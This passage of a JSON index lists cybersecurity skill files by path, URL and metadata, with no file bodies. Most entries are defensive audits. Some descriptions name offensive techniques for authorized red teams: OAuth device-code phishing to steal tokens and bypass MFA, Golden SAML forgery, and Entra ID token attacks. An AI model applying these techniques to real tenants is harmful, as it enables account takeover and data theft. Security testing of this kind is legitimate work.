refresh tokens) with roadtx. Use for authorized red-team enumeration of a tenant's directory objects or for token-based identity attacks against Entra ID you are explicitly authorized to test.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["red-team","entra-id","azure-ad","roadtools","token-manipulation","cloud-enumeration","primary-refresh-token","identity-attack"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.AM-03"],"mitre_attack":["T1087.004"]},"isInternal":false,"tokens":2089,"sizeBytes":8641},{"name":"api-reference.md","path":"skills/attacking-oauth-with-device-code-phishing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/attacking-oauth-with-device-code-phishing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":886,"sizeBytes":3105},{"name":"standards.md","path":"skills/attacking-oauth-with-device-code-phishing/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/attacking-oauth-with-device-code-phishing/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":355,"sizeBytes":1494},{"name":"SKILL.md","path":"skills/attacking-oauth-with-device-code-phishing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/attacking-oauth-with-device-code-phishing/SKILL.md","title":"attacking-oauth-with-device-code-phishing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2FSKILL.md -->","frontmatter":{"name":"attacking-oauth-with-device-code-phishing","description":"Run OAuth 2.0 device-code and illicit-consent phishing attacks against Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized red-team engagements simulating device-code or consent-grant phishing against a tenant you have explicit written permission to test.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["device-code-phishing","oauth","entra-id","token-theft","mfa-bypass","illicit-consent","tokentactics","red-team"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-03"],"mitre_attack":["T1528"]},"isInternal":false,"tokens":3570,"sizeBytes":15176},{"name":"api-reference.md","path":"skills/auditing-aws-s3-bucket-permissions/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-aws-s3-bucket-permissions/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-aws-s3-bucket-permissions%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":590,"sizeBytes":2394},{"name":"SKILL.md","path":"skills/auditing-aws-s3-bucket-permissions/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-aws-s3-bucket-permissions/SKILL.md","title":"auditing-aws-s3-bucket-permissions","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-aws-s3-bucket-permissions%2FSKILL.md -->","frontmatter":{"name":"auditing-aws-s3-bucket-permissions","description":"Systematically audit AWS S3 bucket permissions to identify publicly accessible buckets, overly permissive ACLs, misconfigured bucket policies, and missing encryption settings using AWS CLI, S3audit, and Prowler to enforce least-privilege data access controls.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","s3","bucket-permissions","data-protection","access-control"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1530","T1619","T1078.004","T1537","T1567.002"]},"isInternal":false,"tokens":2630,"sizeBytes":10960},{"name":"api-reference.md","path":"skills/auditing-azure-active-directory-configuration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-azure-active-directory-configuration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-azure-active-directory-configuration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":551,"sizeBytes":2375},{"name":"SKILL.md","path":"skills/auditing-azure-active-directory-configuration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-azure-active-directory-configuration/SKILL.md","title":"auditing-azure-active-directory-configuration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-azure-active-directory-configuration%2FSKILL.md -->","frontmatter":{"name":"auditing-azure-active-directory-configuration","description":"Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, stale accounts, conditional access gaps, and guest user risks using AzureAD PowerShell, Microsoft Graph API, and ScoutSuite.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","azure","entra-id","active-directory","iam-audit","conditional-access"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1098.003","T1556.006","T1069.003","T1526"]},"isInternal":false,"tokens":2757,"sizeBytes":11936},{"name":"api-reference.md","path":"skills/auditing-cloud-with-cis-benchmarks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-cloud-with-cis-benchmarks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-cloud-with-cis-benchmarks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":564,"sizeBytes":1956},{"name":"SKILL.md","path":"skills/auditing-cloud-with-cis-benchmarks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-cloud-with-cis-benchmarks/SKILL.md","title":"auditing-cloud-with-cis-benchmarks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-cloud-with-cis-benchmarks%2FSKILL.md -->","frontmatter":{"name":"auditing-cloud-with-cis-benchmarks","description":"Audit AWS, Azure, and GCP environments against the CIS Foundations Benchmarks by running automated scans with tools like Prowler and ScoutSuite, interpreting failed controls, and tracking remediation for continuous compliance. Use when conducting a cloud security audit, validating CIS benchmark compliance (CIS v5 AWS, v4 Azure, v4 GCP), or setting up continuous cloud compliance monitoring.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cis-benchmarks","cloud-audit","compliance-assessment","prowler","security-hardening"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","GOVERN-4.2","MAP-2.3"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1098.003","T1685.002","T1580"]},"isInternal":false,"tokens":2944,"sizeBytes":12103},{"name":"api-reference.md","path":"skills/auditing-entra-id-with-aadinternals/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-entra-id-with-aadinternals/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":677,"sizeBytes":2532},{"name":"standards.md","path":"skills/auditing-entra-id-with-aadinternals/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-entra-id-with-aadinternals/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":304,"sizeBytes":1174},{"name":"SKILL.md","path":"skills/auditing-entra-id-with-aadinternals/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-entra-id-with-aadinternals/SKILL.md","title":"auditing-entra-id-with-aadinternals","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2FSKILL.md -->","frontmatter":{"name":"auditing-entra-id-with-aadinternals","description":"Drive the AADInternals PowerShell toolkit to perform Microsoft Entra ID tenant reconnaissance, access-token acquisition across Microsoft APIs, and federation/AD FS backdoor testing (Golden SAML, T1606.002) for defensive validation. Use during an authorized Entra ID/Microsoft 365 red-team assessment to map external attack surface or verify AD FS signing certs resist Golden SAML.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["aadinternals","entra-id","azure-ad","saml-token-forgery","federation-backdoor","token-manipulation","adfs","red-team"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.AM-03"],"mitre_attack":["T1606.002"]},"isInternal":false,"tokens":2542,"sizeBytes":10774},{"name":"api-reference.md","path":"skills/auditing-foundry-smart-contract-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-foundry-smart-contract-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1664,"sizeBytes":6604},{"name":"secure-deployment-and-keys.md","path":"skills/auditing-foundry-smart-contract-security/references/secure-deployment-and-keys.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-foundry-smart-contract-security/references/secure-deployment-and-keys.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fsecure-deployment-and-keys.md -->","isInternal":false,"tokens":1030,"sizeBytes":4171},{"name":"vulnerability-checklist.md","path":"skills/auditing-foundry-smart-contract-security/references/vulnerability-checklist.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-foundry-smart-contract-security/references/vulnerability-checklist.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fvulnerability-checklist.md -->","isInternal":false,"tokens":1300,"sizeBytes":4955},{"name":"SKILL.md","path":"skills/auditing-foundry-smart-contract-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-foundry-smart-contract-security/SKILL.md","title":"auditing-foundry-smart-contract-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2FSKILL.md -->","frontmatter":{"name":"auditing-foundry-smart-contract-security","description":"Pre-deployment security audit of Solidity smart contracts in a Foundry project. Combines static analysis (Slither, Aderyn), symbolic execution (Mythril), and property-based testing (forge fuzz + invariant tests with handlers) to catch reentrancy, access-control, oracle/price manipulation, and arithmetic bugs BEFORE deploying to an EVM chain. Also enforces key hygiene (no plaintext private keys, encrypted cast keystore) and a secure deploy workflow. Use when writing, reviewing, testing, or deploying Solidity/Foundry contracts, building a dApp, or working with forge/cast/anvil, MetaMask, or Web3/DeFi code.","domain":"cybersecurity","subdomain":"blockchain-security","tags":["solidity","foundry","forge","smart-contract","slither","aderyn","mythril","reentrancy","defi","web3","invariant-testing","audit"],"version":"1.0","author":"devredious","license":"Apache-2.0","based_on":"mukul975/analyzing-ethereum-smart-contract-vulnerabilities","swc_registry":"https://swcregistry.io/","mitre_attack":["T1190","T1059"]},"isInternal":false,"tokens":1887,"sizeBytes":7627},{"name":"api-reference.md","path":"skills/auditing-gcp-iam-permissions/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-gcp-iam-permissions/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-gcp-iam-permissions%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":530,"sizeBytes":2205},{"name":"SKILL.md","path":"skills/auditing-gcp-iam-permissions/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-gcp-iam-permissions/SKILL.md","title":"auditing-gcp-iam-permissions","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-gcp-iam-permissions%2FSKILL.md -->","frontmatter":{"name":"auditing-gcp-iam-permissions","description":"Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, primitive role usage, service account key proliferation, and cross-project access risks using gcloud CLI, Policy Analyzer, and IAM Recommender.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","gcp","iam","permissions-audit","service-accounts","policy-analyzer"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1098.003","T1528","T1548.005","T1580"]},"isInternal":false,"tokens":2903,"sizeBytes":12701},{"name":"api-reference.md","path":"skills/auditing-kubernetes-cluster-rbac/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-kubernetes-cluster-rbac/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-cluster-rbac%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":546,"sizeBytes":2193},{"name":"SKILL.md","path":"skills/auditing-kubernetes-cluster-rbac/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-kubernetes-cluster-rbac/SKILL.md","title":"auditing-kubernetes-cluster-rbac","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-cluster-rbac%2FSKILL.md -->","frontmatter":{"name":"auditing-kubernetes-cluster-rbac","description":"Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","kubernetes","rbac","access-control","eks","gke","aks"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1098.006","T1552.007","T1611","T1613","T1078.004"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","defense-impairment"],"techniques":[{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"T1531","name":"Account Access Removal","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":3186,"sizeBytes":13308},{"name":"api-reference.md","path":"skills/auditing-kubernetes-rbac-privilege-escalation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-kubernetes-rbac-privilege-escalation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":717,"sizeBytes":2803},{"name":"standards.md","path":"skills/auditing-kubernetes-rbac-privilege-escalation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-kubernetes-rbac-privilege-escalation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":462,"sizeBytes":1881},{"name":"SKILL.md","path":"skills/auditing-kubernetes-rbac-privilege-escalation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-kubernetes-rbac-privilege-escalation/SKILL.md","title":"auditing-kubernetes-rbac-privilege-escalation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2FSKILL.md -->","frontmatter":{"name":"auditing-kubernetes-rbac-privilege-escalation","description":"Finds over-permissive RBAC roles and service-account token abuse paths in a Kubernetes cluster using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess, tracing which subjects can escalate toward cluster-admin. Use when reviewing who can escalate privileges in a cluster, hunting exploitable RoleBindings during an authorized review, or validating least privilege after an RBAC change. Keywords: RBAC, ClusterRoleBinding, service account token, auth can-i, rbac-police, escalate, bind, impersonate. Do not use for designing and applying hardened RBAC - use implementing-rbac-hardening-for-kubernetes.","domain":"cybersecurity","subdomain":"container-security","tags":["kubernetes","rbac","privilege-escalation","service-account","least-privilege","kubectl","access-control","attack-paths"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-05"],"mitre_attack":["T1078"]},"isInternal":false,"tokens":2989,"sizeBytes":12107},{"name":"api-reference.md","path":"skills/auditing-mcp-servers-for-tool-poisoning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-mcp-servers-for-tool-poisoning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":599,"sizeBytes":2283},{"name":"standards.md","path":"skills/auditing-mcp-servers-for-tool-poisoning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-mcp-servers-for-tool-poisoning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":397,"sizeBytes":1569},{"name":"SKILL.md","path":"skills/auditing-mcp-servers-for-tool-poisoning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-mcp-servers-for-tool-poisoning/SKILL.md","title":"auditing-mcp-servers-for-tool-poisoning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2FSKILL.md -->","frontmatter":{"name":"auditing-mcp-servers-for-tool-poisoning","description":"Audit MCP servers for tool poisoning, tool shadowing, rug pulls, SSRF, and unauthenticated exposure using Invariant Labs' mcp-scan for static/runtime scanning plus manual SSRF/auth checks and description pinning. Use before adding a new MCP server to an agent stack, when reviewing an internal MCP server, detecting rug pulls, or investigating an agent's unexpected tool-driven behavior.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","mcp","tool-poisoning","agent-security","mcp-scan","ssrf","supply-chain","rug-pull"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MANAGE-2.2"],"atlas_techniques":["AML.T0010"]},"isInternal":false,"tokens":2532,"sizeBytes":10714},{"name":"api-reference.md","path":"skills/auditing-terraform-infrastructure-for-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-terraform-infrastructure-for-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-terraform-infrastructure-for-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":504,"sizeBytes":1856},{"name":"SKILL.md","path":"skills/auditing-terraform-infrastructure-for-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-terraform-infrastructure-for-security/SKILL.md","title":"auditing-terraform-infrastructure-for-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-terraform-infrastructure-for-security%2FSKILL.md -->","frontmatter":{"name":"auditing-terraform-infrastructure-for-security","description":"Auditing Terraform infrastructure-as-code for security misconfigurations using Checkov, tfsec, Terrascan, and OPA/Rego policies to detect overly permissive IAM policies, public resource exposure, missing encryption, and insecure defaults before cloud deployment.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","terraform","infrastructure-as-code","checkov","tfsec","policy-as-code"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1190","T1552.001","T1580"]},"isInternal":false,"tokens":2906,"sizeBytes":11867},{"name":"api-reference.md","path":"skills/auditing-tls-certificate-transparency-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-tls-certificate-transparency-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-tls-certificate-transparency-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1439,"sizeBytes":6514},{"name":"SKILL.md","path":"skills/auditing-tls-certificate-transparency-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-tls-certificate-transparency-logs/SKILL.md","title":"auditing-tls-certificate-transparency-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-tls-certificate-transparency-logs%2FSKILL.md -->","frontmatter":{"name":"auditing-tls-certificate-transparency-logs","description":"Monitors Certificate Transparency (CT) logs to detect unauthorized certificate issuance, discover subdomains via CT data, and alert on suspicious certificate activity for owned domains. Uses the crt.sh API and direct CT log querying based on RFC 6962 to build continuous monitoring pipelines that catch rogue certificates, track CA behavior, and map the external attack surface. Activates for requests involving certificate transparency monitoring, CT log auditing, subdomain discovery via certificates, or certificate issuance alerting.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["certificate-transparency","CT-logs","crt-sh","subdomain-discovery","TLS-monitoring","RFC-6962"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1596.003","T1583.001","T1587.003","T1593","T1566.002"]},"isInternal":false,"tokens":3343,"sizeBytes":15799},{"name":"api-reference.md","path":"skills/auditing-uefi-firmware-with-chipsec/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-uefi-firmware-with-chipsec/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":603,"sizeBytes":2324},{"name":"standards.md","path":"skills/auditing-uefi-firmware-with-chipsec/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-uefi-firmware-with-chipsec/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":338,"sizeBytes":1394},{"name":"SKILL.md","path":"skills/auditing-uefi-firmware-with-chipsec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/auditing-uefi-firmware-with-chipsec/SKILL.md","title":"auditing-uefi-firmware-with-chipsec","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2FSKILL.md -->","frontmatter":{"name":"auditing-uefi-firmware-with-chipsec","description":"Use Intel CHIPSEC to assess platform firmware configuration, SPI flash write protection, BIOS lock, SMM/SMRR, and Secure Boot variable state, dump SPI flash, and triage UEFI variables for firmware-level threats.","domain":"cybersecurity","subdomain":"hardware-firmware-security","tags":["hardware-firmware-security","uefi","chipsec","spi-flash","bios-write-protection","secure-boot","firmware-assessment","platform-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.AM-02"],"mitre_attack":["T1542.001"]},"isInternal":false,"tokens":2174,"sizeBytes":9402},{"name":"api-reference.md","path":"skills/automating-ioc-enrichment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/automating-ioc-enrichment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fautomating-ioc-enrichment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":564,"sizeBytes":1845},{"name":"SKILL.md","path":"skills/automating-ioc-enrichment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/automating-ioc-enrichment/SKILL.md","title":"automating-ioc-enrichment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fautomating-ioc-enrichment%2FSKILL.md -->","frontmatter":{"name":"automating-ioc-enrichment","description":"Automates the enrichment of raw indicators of compromise with multi-source threat intelligence context using SOAR platforms, Python pipelines, or TIP playbooks to reduce analyst triage time and standardize enrichment outputs. Use when building automated enrichment workflows integrated with SIEM alerts, email submission pipelines, or bulk IOC processing from threat feeds. Activates for requests involving SOAR enrichment, Cortex XSOAR, Splunk SOAR, TheHive, Python enrichment pipelines, or automated IOC processing.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["SOAR","enrichment","IOC","Cortex-XSOAR","Splunk-SOAR","VirusTotal","automation","CTI","NIST-CSF"],"version":"1.0.0","author":"team-cybersecurity","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071.001","T1583.001","T1588.001","T1590.005","T1596"]},"isInternal":false,"tokens":2117,"sizeBytes":8667},{"name":"api-reference.md","path":"skills/benchmarking-kubernetes-with-kube-bench/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/benchmarking-kubernetes-with-kube-bench/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":855,"sizeBytes":2969},{"name":"standards.md","path":"skills/benchmarking-kubernetes-with-kube-bench/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/benchmarking-kubernetes-with-kube-bench/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2Freferences%2Fstandards.md 